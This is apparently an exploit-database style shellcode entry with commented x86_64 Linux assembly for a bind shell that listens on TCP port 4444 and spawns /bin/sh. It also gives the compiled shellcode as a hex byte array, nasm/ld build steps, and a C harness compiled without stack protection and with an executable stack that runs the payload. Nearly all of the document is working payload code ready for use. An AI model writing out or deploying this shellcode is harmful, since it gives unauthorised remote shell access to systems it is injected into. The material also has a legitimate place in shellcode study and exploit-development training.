;Title: Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh)
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  131 bytes
;github = https://github.com/STARRBOY	
;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"


================== ASSEMBLY ========================================


global _start


section .text

_start:
		
	
	xor rsi,	rsi	;set rsi to zero, since we will push syscall and first param on the stack and then pop it of we don't need to
				;set rax and rdi to zero

create_socket:
	
	;int socket(int domain, int type, int protocol);
	push 41			;sys_socket
	pop rax
	push 2
	pop rdi	
	inc rsi			;SOCK_STREAM
	xor rdx,	rdx
	syscall

	;save the return value for future use
	xchg rdi, rax

	
	; sin_zero:        0
	; sin_addr.s_addr: INADDR_ANY = 0
	; sin_port:        4444 
	; sin_family:      AF_INET = 2
	xor rax, rax
	push rax			; sin_zero 
	push rax			; zero out another 8 bytes for remaining members
	mov word [rsp+2], 0x5c11	; sin_port = 4444
	mov byte [rsp], 0x2		; sin_family

bind:
	;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
	xor 	rdx,	rdx	
	push 	49
	pop 	rax
	push	rsp	
	pop 	rsi		;sockaddr stack pointer
	add	rdx,	16	;sizeof sockaddr
	syscall


listen:
	;int listen(int sockfd, int backlog);
	xor     rsi,	rsi
	push 	50		;sys_listen
	pop 	rax
	inc 	rsi		;backlog = number of clients 
	syscall

	
accept:
	;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
	push 	43 		;sys_accept
	pop 	rax
	mov rsi, rsp		; stack pointer for client sockaddr
	mov byte [rsp-1], 0x10	; put size of the structure on the stack
	dec rsp			; adjust stack pointer for previous
	mov rdx, rsp		; stack pointer for struct size
	syscall

	;save client socket 
	xchg r10,	 rax

	
close:
	;int close(int fd);
	push	3		;sys_close
	pop 	rax
	push	rax		;save 3 on the stack for rsi in dup2
	syscall


	xchg    rdi,	r10	;client socket as first parameter for dup2
	pop 	rsi
	
dup2loop:
	
	;int dup2(int oldfd, int newfd);
	push	33		;sys_dup2
	pop	rax
	dec 	rsi		
	syscall
	loopnz  dup2loop	
	


spawn_shell:
	
	;int execve(const char *filename, char *const argv[], char *const envp[]);
	xor eax,	eax
	add al,		59			;sys_execve
	xor rdi,	rdi			;set rdi to zero
	push rdi				;push null on the stack
	mov rdi,	0x68732F2f6e69622F	;bin//sh in reverse
	push rdi				
	mov rdi,	rsp			;set stack pointer to rdi
	xor rsi,	rsi			;rsi and rdx == 0
	xor rdx,	rdx
	syscall



=======Generate Shellcode==========================================
nasm -felf64 tcp_bind.nasm -o tcp_bind.o 
ld tcp_bind.o -o tcp_bind


=========generate C program to exploit=============================
gcc -fno-stack-protector -z execstack bind.c -o bind


======================C program=====================================

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
        "\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x48"
        "\x31\xd2\x0f\x05\x48\x97\x48\x31\xc0\x50\x50\x66\xc7"
        "\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x48\x31\xd2\x6a"
        "\x31\x58\x54\x5e\x48\x83\xc2\x10\x0f\x05\x48\x31\xf6"
        "\x6a\x32\x58\x48\xff\xc6\x0f\x05\x6a\x2b\x58\x48\x89"
        "\xe6\xc6\x44\x24\xff\x10\x48\xff\xcc\x48\x89\xe2\x0f"
        "\x05\x49\x92\x6a\x03\x58\x50\x0f\x05\x49\x87\xfa\x5e"
        "\x6a\x21\x58\x48\xff\xce\x0f\x05\xe0\xf6\x31\xc0\x04"
        "\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f"
        "\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05";

int main(){

        printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

        int (*ret)() = (int(*)())shellcode;

        ret();
}